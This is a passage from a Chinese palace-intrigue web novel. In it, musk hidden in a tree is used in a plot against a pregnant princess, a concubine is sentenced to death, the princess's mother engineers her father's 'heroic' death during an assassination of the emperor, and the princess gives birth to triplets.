在外头因此事掀起不小的波澜时,信王府后院还是一片平静,最多就是感叹一下失宠的梁侧妃恐怕又要失去靠山了。 如春扶着崔锦在院外散步,低声道:“刑部没在淮阴侯府查出什么东西,想来是淮阴侯世子听了您的提醒,提前将自己的账本都收起来了。” 崔锦点了点头。 萧临前脚上早朝,她后脚就给淮阴侯世子去了信提醒。 不论他信不信,必定会提前防范。 这样遭罪的就只有一个淮阴侯了。 “您……要见他吗?”如春问。 “先晾他一段时间吧。”崔锦轻抚着自己的肚子,声音柔和,“我如今最重要的是平安生下他们,其余事都可往后放。” “也是。”如春笑了,“后日圣上去宝华寺,王爷被钦点随同,还说要给您和小主子们一起祈福呢。” 经过淮阴侯一事,永隆帝对萧临更看重了几分,还颇有偏爱之意,萧临也愈发觉得崔锦此计甚妙,对她本就灼热的感情竟是又浓了许多。 崔锦正要说话,却见身边的张嬷嬷忽然面色凝重起来,不由问:“怎么了?” “味道不对。”张嬷嬷眉头皱起,环视一圈。 正院外的金桂开的正好,鼻间满是馨香,但前两日下过一场雨,打湿了泥土,这才叫她闻出了异样。 “王妃先走远些,奴婢四下瞧瞧。” 张嬷嬷将崔锦劝离,自己四下慢慢走了起来,鼻尖一直轻轻动着,寻异香最浓处。 一盏茶时间后,她走到一棵桂花树下,吩咐小厮:“将这棵树四下都挖一挖,有多深挖多深。” 第一百零八章 挖出麝香 崔锦坐在远处的石桌边,静静看着小厮们挖树根。 如夏端来茶点,问道:“现在就挖,岂不是叫人都知道了此事,背后之人若知此计不成,难保不会再使毒计。”她看了眼周围路过的下人们,神色凝重。 “这种人,难道还留着她过年吗?”如春开口,“只要挖出来东西,王爷不掘出她来才怪!” 她紧紧盯着那边的小厮。 这里可是崔锦自有孕后最常出门散步走动的地方,那人没本事在正院做手脚,便将主意打到了这里来,还知道利用金桂的香气来掩盖其余的气味,若非这两日刚下过雨,怕是连张嬷嬷都不一定能闻得出来。 如夏叹了口气。 这里人来人往,若底下埋着的东西查不出源头,只怕再想查出那幕后之人便难了。 崔锦这里的动静很快就传了出去,叶挽棠等人先后都到了。 “王妃,这怎么回事?”叶挽棠担心地问道,“是不是有人要害您?” 崔锦含笑叫她坐下:“只是张嬷嬷闻着那树味道不对,给树松松土瞧瞧,若实在活不成,便只能移栽了。” 叶挽棠松了口气:“那就好,妾陪您回屋里坐着去吧,刚下过雨,感觉还有些冷呢。” “我总不能日日都闷在屋里。”崔锦轻笑一声,叫人给叶挽棠拿了件披风过来。 余下的众人却没那么松弛。 她们可不是脑子简单的叶挽棠,松土这种鬼话谁信? 恐怕那句闻出来不对劲才是真的。 下人们搬来凳子后,她们心思各异地坐下了。 苏氏坐在最边缘,察觉到身边婢女按在她肩上稍重的力道,她神色不变,只有垂下的眼眸中闪过一抹暗色。 这场雨,下的可真不是时候。 小半个时辰很快过去,张嬷嬷那边却毫无进展。 渐渐有人等的不耐烦了,孟氏忍不住道:“挖了这么久什么都没有,王妃不会是弄错了吧,哪有人蠢到在这里埋东西害您?” “我何时说过有人要害我?” 崔锦抿了口茶:“只是替这颗金桂松松土罢了。” 孟氏一哽:“可就这样叫大家坐在这里干等,难免无趣。” 就算王爷不来她那里,她也有自己的乐子呢,在这等着算怎么回事? “谁叫你等了?”叶挽棠反唇相讥,“不乐意回你院里去啊。” 孟氏被堵得脸色微青,却没再说话。 走? 她敢吗? 别说此举会不会得罪崔锦,万一后头真挖出来东西,她若不在场,还不知要被如何泼脏水! 她闭了嘴,便再无人出言呛声。 朱氏适时转移话题,与崔锦说笑起来,气氛瞬间缓和了些。 树下,张嬷嬷皱紧眉围绕这颗金桂走了好几圈。 她分明闻到异香就在这里,为何近乎掘地三尺,却挖不出什么东西? 此事闹得太大,满府都在关注,她若找不到东西,王妃岂非要成了满府笑柄? 她咬了咬牙,极力冷静下来,再次观察这颗金桂。 她的嗅觉不会出错,这棵树一定有问题,一定有她没仔细观察到的地方。 小厮还在挖土,她再次绕着树观察,忽地,心念电转之间,她抬头瞧了瞧,眼神瞬间一紧。 “去瞧瞧那里。”她指着头顶粗壮的分支开口,“那树皮有缝隙,看看能不能打开。” 小厮心里觉得她多疑,哪有人挖了树的分支藏东西的。 但他还是快速爬上树,绕去了分支上,在张嬷嬷指的位置摸了摸,手下感觉到不对,他使了点劲,竟掰掉了一块厚重的树皮。 他脸色诧异,低头一看,那树皮下藏着有两个拳头大洞,里面塞着一个布包。 他连忙拿出东西下树。 这回不必张嬷嬷再说,所有人都闻到了这股异香。 难怪他们在树下掘地三尺都挖不到东西……谁能想到那人竟会在树上挖洞,将东西藏在树里? “王妃别过来。”张嬷嬷脸色阴沉,扬声道,“这是麝香。” 闻言,如春几人快速护在崔锦身前:“王妃,我们先离开吧。” 麝香对有孕之人的伤害有多大,所有人都清楚。 这样远的距离其实没事,但崔锦也觉得保险为上,缓缓起身准备离开。 正巧萧临回府,得知出事赶来了。 他只叫人扶了崔锦回正院,随后环视一圈:“今日查不清楚,你们就都待着这吧。” 众人面色一变,又是恐慌又是焦急。 她们就算没怀孕,万一被那麝香染上,还不损了身子?再说……若万一自己被人陷害怎么办? 只有叶挽棠毫不心虚,反而点头:“在正院外的树上挖洞放麝香,如此刁钻又恶毒,显然是奔着叫王妃一尸两命去的,此事一定要查个清楚!” 萧临冷冷扫视一眼那金桂上的小洞,声音如从冰窖传来:“本王的后院竟还有如此心思玲珑之人,从前当真是本王眼拙。” 苏氏紧紧攥住双手,脸上满是与旁人如出一辙的惧怕与惊慌。 “奴才这就带人去查。”庆喜立刻开口。 “嗯。”萧临道,“再叫太医去给王妃瞧瞧。” 自知道崔锦腹中的是双胎后,永隆帝专程派下一位太医暂居信王府,为崔锦请脉。 “是。” 萧临吩咐完,才走去金桂树下,仔细瞧着。 “树枝上有布条?”他忽地道,“去看看。” 小厮上去一看,那分支旁果然挂了一缕有小拇指一半粗的布条,应该是来埋麝香时不小心被树枝勾住的。 这布条料子不错,应当是一等丫鬟的规制。 庆喜立刻着手去查了。 等院内的江柔等人站得腿都酸了,才见庆喜匆匆回来。 “禀王爷,这布料奴才查了查,发现是江夫人身边的佩儿衣裳上的,嬷嬷去比对过,佩儿的确有一身衣裳破了边,与这布条对得上。” 江柔脸色一变。 佩儿也慌了:“奴婢、奴婢那身衣裳的确是被路边垂下树枝挂掉的,但不是这金桂啊……奴婢也从未埋过麝香……” 庆喜瞥她一眼,见江柔也准备开口叫屈,他继续道:“当然,为了避免冤枉江夫人,奴才着意深查了查,查到佩儿是明山人,家中以采果为生,很会爬树。” 这金桂树上的分支足有三人高,一般的丫鬟还真爬不上去。 庆喜心里冷哼一声:“奴才还查到了些旁的事……江夫人打从进府前就带了红花和麝香等物,先前陷害王妃的红花便是她自己下去菜里的,而麝香,奴才方才叫人翻遍了寄月阁,没找到半点麝香。” 闻言,苏氏攥紧的手指终于松开了。 第一百零九章 老爷护驾身亡 江柔脸色已经变得惨白。 庆喜是怎么查到这件事的? 她做得那么隐蔽,唯一知道此事的陪嫁丫鬟也早就被杖毙了,怎会……怎会又被翻出此事? 还有麝香,到底什么时候不见的?! 她眼神极度慌乱,落在旁人眼里便成了做贼心虚。 “啪——” 叶挽棠一巴掌扇去她脸上,恨恨开口:“我若是王妃,早在被你诬陷时就杖毙你了,王妃留你一条命,你却半点不知感恩,屡次三番地害她……她肚子里可还有两条命啊!” 江柔被打,却半点没时间生气,连忙跪下哭道:“王爷,不是妾啊……妾的确带了麝香,可从未想过要害王妃,那麝香……妾甚至不知是何时丢失的,求王爷明鉴啊……” 她哭着膝行上前,却被萧临一脚踹得撞去石凳上。 “如此毒妇,本王当初就不该留你一命。” 萧临眸光冷煞,戾气横生:“江氏谋害王妃,赐毒酒,佩儿,杖毙。” 话落,他环视众人一圈,忽地开口:“王妃是王府主母,更是本王此生唯一发妻,若有人妄想除掉王妃,自己便可上位,本王必亲手杀之!”他声音冷如寒冬,“你们也可以理解为——谁做继妃,本王视谁如毕生之敌,不灭其九族不罢休!” 众人脸色尽都惨白下来。 在场除叶挽棠,多多少少都有过除掉崔锦和她腹中孩子的心思,只在于做没做过。 可萧临的话却如当头一棒,狠狠敲醒了她们。 她们此生……上位无望? 有人因此心灰意冷,有人因此愈发不甘。 苏氏垂下的眸间满是野心,哪有男人真能从一而终的?尤其这还是皇家,萧临如今对崔锦的容貌身段正热,又被她腹中的孩子勾住了心,自然什么承诺都许的出。 可男人的承诺是最靠不住的东西。 她只管等着就是。 对比她们心思各异,地上的江柔便只有僵硬了,她面如死灰,满眼绝望。 即便她当真谋害崔锦,可未曾成功,按说不该得如此重罚,可萧临太在乎崔锦腹中的孩子了,尤其在日日抚摸着好动的孩子时,心中早已被为父柔情占满。 得知有人要毒害他的孩子,他心情比起护犊子的母兽有过之而无不及,恨不得将凶手千刀万剐,留江柔一具全尸,已经是看在她父亲的面子上了。 江柔满心绝望又不甘,长喊:“人之将死,妾没必要骗王爷!那麝香当真不是妾埋的,王爷若不信,尽管深查,妾清者自清,不惧人查,却不知那真正的凶手有没有胆量——” 她不甘的痛哭声响彻花园,叫其余人心有戚戚之余,也不由升起疑惑。 正如江柔所说,她已经快死了,当真还有必要说谎吗? 究竟是她想搅乱后院,还是当真另有人陷害? 萧临冷戾的表情不变,眼底也闪过一抹深思。 苏氏看着他离开的背影,眸光深邃。 “苏姐姐,你在看什么?”朱氏疑惑问。 苏氏回过神,笑了笑:“只是感叹王爷对王妃的深情,当真让人羡慕得很呢。” 朱氏也笑了:“王妃容貌倾城,性子又宽柔并济,莫说王爷,我都喜欢的不得了,若以后……”她顿了顿,低低道,“若以后王爷有大造化,我们跟着鸡犬升天,有这样一位女主子在,日子总是好过的。” “是啊。”苏氏轻轻回。 可既然总有人去做那个女主子,为什么不能是她呢? 太子妃、至高无上的国母之位,谁不动心? 正院。 崔锦送走萧临后,张嬷嬷才详细说起了方才的经过。 “江柔死也不承认是自己埋的麝香?”崔锦微愣。 “奴婢瞧着,江夫人不像是说假话。”张嬷嬷顿了顿,“但也难保她不是在刻意离间,只是方才王爷盛怒,没人敢为江夫人求情,死无对证……我们若要查,也许要艰难些了。” “就算她活着也未必能帮到我们什么。”如秋插话,“若她当真是被人陷害,只怕连她自己都不知道那人是谁,又是什么时候被算计的。” 江柔并不蠢,反而还颇有心计。 可她甚至都没察觉到自己被算计,连藏有的麝香是何时不见的都不清楚,足以说明那幕后之人的手段。 崔锦思索一瞬:“先扣下寄月阁的所有人,包括安氏在内,一个一个的查,再去问问庆喜是怎么查到江柔入府前带着麝香的。” 江柔进府前只带了一个陪嫁丫鬟,还已经被杖毙,按说不该有人再知道此事才对。 如春立刻应声下去了。 此事在府里闹开,加之萧临那番堪称震慑的话,叫后院安分了好几日,往常还有几个斗嘴吵架的也都没了声息,即便萧临跟着永隆帝去宝华寺祈福,已经离府,她们都没再起什么幺蛾子。 崔锦查了几日寄月阁,不出意料,一无所获。 “王妃,不好了!”如夏匆匆进门,满眼慌张,“方才有人议论,说……说皇上在宝华寺遇刺,老爷……老爷护驾身亡了!” 崔锦面露诧异:“护驾身亡?” 她猜到母亲准备在宝华寺动手,却没想到会是以这种方式。 护驾身亡……这个结局太体面了。 还给她和弟弟妹妹们留尽了好处。 “谁告诉你的?”如秋忙问如夏,“出了这种事,王爷必会传信叫庆安戒严府内,绝不会叫消息传来王妃耳中!” 她们知道崔锦早有心理准备,旁人可不知道。 如夏这才反应过来:“是刚才在长廊那边,两个丫鬟在议论,我听了一嘴……” 她太震惊了,忙不迭就回来禀报,竟忘了深想。 “有一个人我认识,是先前伺候过梁侧妃的玫红,后来因为冒犯侧妃,被赶出了春熙院。” 第一百一十章 崔父封侯 宝华寺院中。 崔母鬓发俱乱,满面含泪地跪在地上,愣愣看着地上崔父血满衣襟的尸体。 四周围满了人,此时不论心中如何想法,面上俱都不忍而怜悯地看着她。 “太医呢?老爷还没死,你怎能不来为他止血疗伤?!”崔母精神恍惚,抓着太医紧紧盯着他,“我家老爷还没死,你怎敢渎职?!” 太医并未生气,反而眼中满是同情:“崔夫人,崔尚书……那一剑正中他心口,几乎穿透了……下官回天无力,您节哀吧。” 不是每个人的心脏都跟卫大人一样,长在右边的。 “不可能!” 崔母眼泪充满眼眶,却再没落下一滴泪来。 她死死盯着地上的崔父,近乎手忙脚乱地为他堵着心口的伤,任血沾满锦衣也无动于衷,嘴里喃喃自语:“老爷方才还在同我说要带瞻哥儿去拜访住持,给他来年的科举求福,怎会、怎会忽然就没了声息呢……我不信,你们都在骗我……” 她徒劳地堵着早已不再流血的伤口,从前雍容优雅的姿态不复,只剩下无尽的狼狈。 但此刻没有一个人嘲笑她,有些感性的夫人贵女都眼睛微红,忍不住为她伤心。 “母亲……”崔瞻声音沙哑而哽咽,“叫父亲……安息吧。” “不要!”崔瞩靠在崔钤怀里大哭,“我要父亲!父亲说要给我买寺外的糖人吃,我要糖人!我要父亲——” 虎头虎脑的孩子哭得上气不接下气,将他抱在怀里的崔钤更是哭得抽噎,却忍着不发出一个字。 再看年纪最长的崔瞻……他已知事,担起长子的重任,此刻即便再痛苦伤心也只能强撑着,一边安慰崩溃的母亲,一边安抚痛哭的弟弟妹妹。 少年人如玉般的容颜苍白不已,更添了几分憔悴脆弱。 便是心硬的一些男人们看到这一幕,心中也不由生出几分恻隐之心。 正在此时,一道尖利的声音传来:“皇上驾到——” 永隆帝与皇后等人一起过来了。 萧临看到地上的崔母,心中触动一瞬,有些不忍,但他更担心京中的崔锦——他已经封锁了消息,可崔锦早晚会知道此事……届时她该如何伤心? 崔母见他们过来,这才回过神,就着跪下的姿势磕了头:“臣妇参见皇上,参见皇后娘娘……”她声音早在方才就哭得沙哑,此时几乎像是磨在砂纸上一样隐隐含着粗粝。 永隆帝看着崔父的尸体,又缓缓扫过精神恍惚的崔母、悲伤却坚毅的崔瞻,以及哭成一团的崔钤姐弟,不由深深叹了口气:“崔爱卿是为朕受过,是朕对不住你们孤儿寡母。” 崔母强忍眼泪,摇头道:“若连忠君爱国都做不到,那般夫君与父亲又怎配臣妇与儿女们记挂?臣妇虽悲伤夫君……离世。”她闭了闭眼,声音依旧坚定,“但他此举无愧天地君心,更是至高无上的荣耀。” 她如此识大体,叫永隆帝本就有些愧疚的心更重了三分。 淑贵妃见状,立刻上前扶起崔母:“夫人快别哭了,崔尚书虽已去,但你还有几个孩子承欢膝下,信王妃腹中还有双胎外孙呢,你这时候可不能倒下啊……” 她刻意提起崔锦和双胎,更叫永隆帝眼神微凛。 萧临对上他的眼神,点头道:“儿臣已封锁消息,暂时不会叫王妃知晓此事,以免伤及自己和孩子。” “你做的很好。”永隆帝叹了口气,片刻后沉声开口,“崔爱卿救驾有功,封忠勇侯,谥号文忠,追封一品太傅之位,着礼部风光大葬。” 话落,他眼神扫过眼神清正的崔瞻,补充:“崔爱卿长子即刻袭爵,爵位世袭三代始降。” 他心中已对储君人选有了决断,既如此,未来的皇后母家便不能太寒酸。 如今倒也正好,少了外戚之患,多了荣光富贵。 但在他话落后,在场不少人眼神立刻就不对了。 救驾有功不假,可封个伯爵就已经算是隆恩浩荡,永隆帝却一举封了侯?还加封一品太傅之位,给了那般重的谥号……若非他们还想活,差点也想去救个驾了。 但最满意的还是萧临一党的人。 崔父位居二品,还是礼部一把手,能帮到他们的实在太多了,若猛地没了这个人,他们虽不能说应接不暇,但到底要忙上不少,但实在是……崔父的这个死法,太体面了。 救驾而死,这是功臣。 尤其还得了永隆帝的愧疚,更因崔家两个儿子都未长成,少了对外戚的猜忌,余下的便只剩补偿。 能一举封侯,想来也是看在腹中怀有双胎的崔锦的面子上。 若萧临日后有登基的那一日……皇后娘家,封个公都是应该的。 想到这里,那些心里本还有些酸的人也平复下了心态。 他们心里如何想,崔母不知道,也不在乎,她只清楚这是自己最想要的结果就行了。 大雄宝殿内,她闭上眼睛,虔诚地为崔父祈福。 若老头子在天有灵,便多保佑她的儿女余生平安和顺,富贵荣华吧。 也算不辜负他豁出命来了。 此时,刘嬷嬷慢步进来,在她耳边低声禀报:“刺客都已自尽,皇上震怒,正命信王带领禁卫军和刑部严查此案。” 崔母闭着眼睛,表情不变:“贼人狂妄,竟敢在国寺行刺驾之举,更害死了老爷……他们死千百次都不足以抵消我心中之恨!” 她语气低沉,却略含一丝疯狂与恨意,直叫一旁的僧人都听得胆寒不已。 但细想也能理解她。 崔尚书位居二品,甚至崔氏一族都靠他撑着,在长子尚未长成时猛然离世,他们孤儿寡母的日子恐怕都要不好过了,纵然还有个信王妃……可没了靠山的王妃,在信王府恐怕都要更如履薄冰。 僧人叹了口气。 一旁,刘嬷嬷安抚了崔母几句,便一同跪下祈福起来。 信王再查也只能查到孟家身上了。 当初孟学士被下狱,孟家虽被抄,但外头仍有余孽,他们过得东躲西藏,便更恨将他们害到如此地步的人。 她们不过稍使手段便挑起了孟家对永隆帝的恨意,还若有若无地宣传了一下萧临极高的内功与饱受他看重的王妃与崔家——若杀不了萧临,杀崔父不也一样? 寺外竹林中那场刺杀,在崔母算计之内,她看准了机会,逃命之余直接将崔父引去了永隆帝身边。 接下来的事,便无需她再多管了,孟家人会为她扫清一切障碍。 她的儿女,往后将一路坦途。 第一百一十一章 王妃早产了! 崔锦得到消息后,为崔父敲了几声木鱼。 如春问道:“王妃,这消息既已经透给了您,您恐怕也得装一装了。” “自然。”崔锦点头,“去请太医吧,就说我气急攻心,晕倒了。” 如春匆匆出门。 崔锦放下木鱼,踱步进了里间,如秋紧随其后进来,低声问:“王妃,要不要吃颗药,做得像些?” “不必。”崔锦扶着她的手,缓缓躺下,“就算太医诊出我并非气急攻心,他敢说么?” 她这样大的肚子,即便只是晕倒都并非小事,太医没给除她之外怀了双胎的妇人诊过脉,又怎敢断定她真的没事? 更何况,太医院的太医一搭脉,没病都要说出三分病来,以免惹祸上身,落个失察之罪。 如秋一想,也点了点头:“也对,是药三分毒,您现在可得稳当着些。” 崔父怎么配叫她吞药装病呢? 太医本就在王府,很快便赶到了。 他已经听如春说过崔锦为什么晕倒了,心跳得厉害,年迈的老腿愣是快转成车轮,匆匆跑来了正院。 一见崔锦惨白的脸色,他心里就又是一跳。 寻常人听到这种噩耗都要受了大打击,这信王妃……有孕不说,腹中还怀着双胎啊!还已经七个月大了! 他不敢耽误,立刻诊起脉来,渐渐的,目光中透出疑惑。 如秋眼神微动:“王妃如何了?可要紧?” “啊、这……”太医结结巴巴几句,斟酌着说道,“王妃应当是遭受大喜大悲,身子受不住才晕的,等下官开副方子,劳姑娘给王妃服下吧……” 他不确定地说着。 信王妃的脉象可太正常了。 这正常吗? 他有些怀疑自己地坐去桌前,开始写方子。 正在此时,榻上的崔锦脸色微变,忽地痛呼一声:“如、如秋……” 如秋忙上前握住她手腕,等摸到脉象,她脸色骤然一变,声音几乎变调:“快,王妃要生了——” 太医吓了一跳,扔了纸笔就狂奔过来,被凳子腿绊了一下都顾不得,跌跌撞撞就冲上前。 他摸上崔锦的脉,眼神也顿时变了:“快准备!王妃要早产了!” 正院的人已经动了起来,幸好先前有张嬷嬷的吩咐,她们此时虽忙却不乱,准备热水的准备热水,叫产婆的叫产婆。 如秋一直握着崔锦的手,温声宽慰:“羊水还没破,要生产还需些时候,王妃现在是阵痛,不要惊慌,奴婢已经派人去宝华寺告诉王爷了,咱们也都在这里陪您呢……” 崔锦手指紧紧抓着手下的衣裳,脸色惨白一片,轻轻点了点头。 双胎多早产,她已经有心理准备了,今日……也是赶巧了。 如秋对上她的眼神,微不可察地点点头后,惊慌转身:“如夏,去将玫红和那婢女抓起来!交给庆安审问,看看到底是谁要害王妃,竟将这等要命的消息传来正院!” 如夏应了声,立刻离开了。 如春见这里有如秋和张嬷嬷盯着,也出了房间,一边有条不紊地指挥着众人做事,一边不着痕迹地将崔锦是被崔父身亡的消息激得早产的消息放出去。 当然要让全京城都知道她们王妃有多孝顺和重感情。 …… 护国寺。 “你说什么?!”萧临惊得起身。 他一边大步出门,一边快速问:“本王已叫人封锁了消息,王妃怎会知道?哪个蠢货告诉的王妃?!” 庆喜小跑着跟上,回:“听说是府里的两个婢女,如春姑娘猜测是有人故意想以此激得王妃早产,眼下只查出有个婢女是春熙院出去的……” 萧临脸色铁青。 他赶去马厩时正遇上淮阴侯世子——现在该叫淮阴伯了,永隆帝已下令将淮阴侯处斩,本该世袭三代才降爵继承的殊荣也被削了。 梁溶月的兄长梁祯袭爵,成了淮阴伯。 “见过王爷——” 梁祯掩下眼底的阴霾,拱手行礼,只是话还没说完,就被一掌打得撞去马厩里,吐出一大口血,若非梁祯躲得快,只怕下一瞬就是被马蹄重踩胸口的命。 “微臣可有得罪王爷?”梁祯语气阴鸷,强撑着身体看向萧临。 “你最好祈祷王妃母子俱安。”萧临声音冷得像是从冰窟传来,“否则本王必要你梁家满门陪葬!” 话落,他拽出一匹马,快速离开。 庆喜忙策马跟上。 后方的梁祯眉头紧皱。 信王妃又怎么了? 非要逮着他们梁家薅个干净吗?! 不多时,护国寺上下也都知道了崔锦早产的消息,永隆帝尤其震怒,竟直接叫禁卫军围了护国寺,不查出那传出消息之人不罢休! 这可是象征他得上苍认可的祥瑞双胎,他倒要看看究竟是谁如此胆大妄为,敢坏他的祥瑞! 萧临近乎连夜快马加鞭赶回了王府。 赶到正院时,天色刚蒙蒙亮起。 里间传来一阵压抑的痛叫声,听得他双眼瞬间发红:“放肆!王妃在疼,你们没听到吗?!太医死了吗?!” 太医吓得一抖,面色发苦。 萧临不等他回答就就准备进门,却被如春死死拦住。 “王爷息怒,女子生产都是如此,奴婢知道您心疼王妃,可眼下不能进啊!”她哽咽道,“王妃后半夜才破了羊水,如今正是要紧时候,绝不能叫她分心啊——” 她死死挡在萧临前方,脚步半点不动。 其实她觉得萧临能进产房,也算他有心,陪着崔锦也好,毕竟时下人多视产房为污秽之地,别说萧临这种天潢贵胄,就算普通男人都不会踏足半分。 但崔锦有叮嘱在前——若萧临要进产房,务必叫她拦住。 拼尽全力生产时哪有什么美感可言? 今日萧临对她有情,故而可以心疼她,可来日夫妻情淡几分,今日她的狼狈就成了原罪。 她不信男人的感情,只想尽全力为自己谋算到不错分毫。 她要走的路,也不容许她行差踏错。 萧临一听会影响崔锦分心,也不敢闹着进门了,忙走去窗前,张嘴想说什么,又不敢吵到崔锦,整个人忍得几乎青筋毕露。 “啊——” 崔锦只觉腹中一阵撕心裂肺的疼痛袭来,疼得她面无血色,冷汗大颗大颗地落下。 张嬷嬷见状,忙拿出一截软木,塞进崔锦嘴里:“王妃小心些别咬到舌头,也省着些力气,小主子们还等着您呢。”她心疼地为崔锦擦了擦汗,轻声在她耳边说着话。 “呜——”崔锦双眸睁大,疼得想叫出声时,喉间却只能发出一阵隐忍沙哑的呜咽。 窗外,萧临双拳紧握。 那道时隐时现的呜咽声叫他双眼几乎顷刻间发红,死死盯着窗户,仿佛要透过窗纱看进里面。 “糟了,怎么这么多血?!” 第一百一十二章 本王的小郡主呢? 闻言,萧临瞳孔几欲震裂。 “太医!”他还记得不能吵到崔锦,立刻低声喊太医,几乎失声,“快去救人!王妃若出事,本王叫你们陪葬!” 外头站着四位太医,连带杨院首,但此刻一时都无人敢动,只有杨院首在门外轻声问里面:“怎么回事?出血就快用红色瓶里的药丸,王妃可还有力气?若没有,快给她含一块参片!叫陆医女上前,有何情况及时报给我!” 萧临冷厉而阴翳的眸光扫向他们,周身的杀意几乎快隐藏不住。 太医们心里也苦。 男女大防摆着这里,这种时候听话的进门,信王夫妻可能会短暂地感激他们,可等来日信王妃平安产子,两人再想起今日,岂会有他们好日子过?说不得连家人都得遭殃。 医者眼中无男女,但有九族啊! 所幸里面有医女在,一时半刻的还有周旋机会。 不等萧临再开口,里间就传来如秋的声音:“血止住了!” 萧临猛地松了口气,额间大颗冷汗滴落,在看到端出来一盆盆触目惊心的血水后,双拳攥得指节发白,手背上的青筋跳动不断。 他从不知女子生产竟是如此艰险之事。 里间,如秋一边握着崔锦的手,一边牢牢盯着接生的产婆,不放过她们的每一个动作。 虽然张嬷嬷也在床尾盯着,但不亲眼看着,她心中实在不安心。 生产本就是鬼门关走一遭,稍微做些手脚或有疏忽都有可能出事。 崔锦紧紧抓着她的手,满脸苍白,整个人像是从水里泡出来的一样,被汗珠几乎浸透,她没有含参片——孩子一个都还没出来,若这么早就开始含参,后面还当如何? 虽然已经过疼了大半夜,但她不能倒下。 剧痛又如何? 幼时练功,外祖父为她请来江湖顶尖高手教导,风雨无阻地打桩操练,什么苦没受过? 只是生产之痛罢了……她挺得过去。 崔锦额间汗珠越来越多,眼神却越发坚毅,其间虽隐有被剧痛侵蚀的血色,却明亮惊人。 忽地,她感到下体一滑。 一阵低低的婴儿啼哭声响起。 “生了!生了!”一个产婆抱起小小的婴儿,喜上眉梢,“是个小公子,恭喜王妃!” 虽说是双胎,但难保不是两女——或许一些女子不在意自己的孩子是男是女,但男子,尤其还是信王府这种情况,就没有不在意男女之分的。 产婆心下为崔锦高兴,也为自己高兴。 仅凭这个小公子,她的赏赐就稳了! 她嗓门大,外头的萧临也听到了,心中顿时无法抑制地升腾起一抹惊喜。 他的嫡长子! 这是他唯一的嫡长子! “王爷不能进去啊!”如春忙拦在他身前,“还有位小主子没出来呢。” 萧临这才从惊喜中回过神:“对,还有女儿,是本王莽撞了……” 他又站去窗前,听着里头那道低低的婴儿哭声,心几乎软成一片,可当听到崔锦隐忍剧痛的声音,又不可避免地心疼。 等生产后,他一定会好生补偿她。 她拼着命为他生下嫡长子和嫡长女,无论如何补偿都不为过。 如春看着他惊喜念叨着小女儿,仿佛天上掉馅饼一般的蠢样,一时有些无言,也有些担心。 嫡长子出生是好,毕竟是大家众望所归,毫不夸张地说,这是满朝都在关注的孩子。 可若来个双子,便又不美了。 双胎长相相似,只继位便是一大难题了。 希望王爷刚从宝华寺开过光的嘴有点用,叫王妃真生下个小郡主吧。 里间,崔锦剧痛难忍,几乎将如秋的手掐出血,如秋愣是一声不吭地忍下,还轻声在她耳边安抚:“小世子很健康,长得也漂亮极了,像您……您再加把劲儿,生下小郡主便好了……” 崔锦疼得已经听不清她的话了。 腹下的剧痛竟似乎连带着牵累浑身,叫她无一处不疼,连骨头似都被研磨着粉碎,只有昏沉的脑中还算留有一丝对如今处境的清明,促使她用尽全力,好为自己和孩子拼出一条血路。 不知过了多久,迷迷糊糊间,又有一道啼哭声响起,洪亮到叫她意识都清醒了一瞬。 “恭喜王妃,又是一位小公子!”产婆道喜的声音响起。 闻言,崔锦松了口气,再没力气想什么,头一倒便昏睡过去,人事不省。 外头,萧临脸上的喜色停滞一瞬:“小公子?本王的小郡主呢?” 如春虽也有些遗憾,但听到这话还是差点翻白眼。 你还挑上了? “无妨,都好,都好。”萧临很快就哄好了自己,满脸惊喜之色,“快让开,本王要见王妃!” 如春依旧不动,道过喜后道:“王妃有吩咐,产房血腥,等里面收拾妥当了再请您进去。” 萧临皱紧眉头。 如春直面他身上传来的不悦气息,微微不安,有些担心他真的闯进去。 若他要闯,谁能拦得住? 但等了片刻,只听见一道压抑情绪的吩咐:“那你还不快去伺候王妃?” 如春松了口气,转身进门。 门开了条缝的瞬间,萧临快速向里面看去,但还没等看到什么,就只剩下紧闭的门板。 他面对门板,一声不吭地站着。 庆喜本来咧开的嘴都收了回去,有些小心翼翼地道喜:“奴才恭喜王爷喜得双子,两位小公子福泽深厚,必定一世顺遂无忧。” 他捡着好听话说,萧临却更为不满:“大喜之日,你这副委曲求全的做作模样给谁看?小公子顺遂无忧,王妃就不是了么?王妃在产房为本王拼命生子,不配你恭祝一二?” 庆喜被三连问吓得慌忙跪下:“奴才失言!王爷恕罪,奴才只是觉得王妃本就是福泽深厚之人,贵主哪需奴才恭祝呢,倒是小公子们刚出生,需要沾些您和王妃的福气呢!” 萧临这才放过了他,虽还是不得见崔锦和儿子,但脸上惊喜的笑容藏都藏不住:“王妃产子大喜,府中下人都赏一年月例,正院加倍,你再去库房挑些赏赐,赐给产房里伺候的人。” 这可是厚赏! 皇家寻常有喜事,最多也不过多赏三月月例,这回竟如此大手笔。 不止是庆喜,满院下人们俱都跪下道喜谢恩,人人喜气洋洋。 可正在这时,里间却忽然传来一道惊叫:“不对!王妃肚子里还有一个小主子,快,快来人接生!” 第一百一十三章 三胎祥瑞 闻言,房内外的人脸色都是一变。 萧临下意识想推门而入,可想到崔锦再三的叮嘱,忍得额角青筋都跳了起来,也还是没敢进去。 不能因为他想看到她和孩子,就因此影响到她。 这种时候,他个人的私欲该放去一边。 而里间,产婆的话也惊醒了沉浸在喜气中的所有人。 张嬷嬷摸了摸崔锦还没彻底塌下的小腹,险些失声:“快叫王妃醒醒,医女呢!快来施针!” 陆医女在她话音未落时就已经上前。 如秋却快速跪坐在床边,从袖中掏出银针:“我来!” 陆医女一愣,下意识看向张嬷嬷。 张嬷嬷定定看了如秋一眼,没有阻止。 能被崔锦隐藏得这么深,从未暴露过医术的婢女,绝不会逊色于医女,或许与外头那群太医都有匹敌之力。 果然,在产婆们为崔锦腹间推力时,不过转眼功夫,崔锦就悠悠转醒。 看到围在床边,神色焦急的如秋等人,她懵了一瞬,才想起什么,忙撑着力气问:“怎么了?是孩子出事了?” 她声音沙哑得很,说起话来喉间更有种干涩的疼。 “没有,小公子们都好!”如秋快速道,“是您腹中还有一位小主子,您撑住!” 她快速往崔锦嘴里塞了参片。 崔锦迷糊昏沉的脑子反应过来,感受到腹间产婆的推力,下意识用起力来。 如秋手下不停,不断捻起银针,刺入崔锦身上的穴位,快速而近乎眼花缭乱的手法看得陆医女神色凝重而呆滞。 信王妃身边竟有这等高人? 约莫一炷香时间后,房内一阵低低的啼哭声响起,比第一个孩子的声音还要弱,像是小猫儿在叫唤一样。 精神紧绷的产婆们终于松了口气,顾不得擦额间冷汗,连忙道喜:“恭喜王妃,儿女双全!” 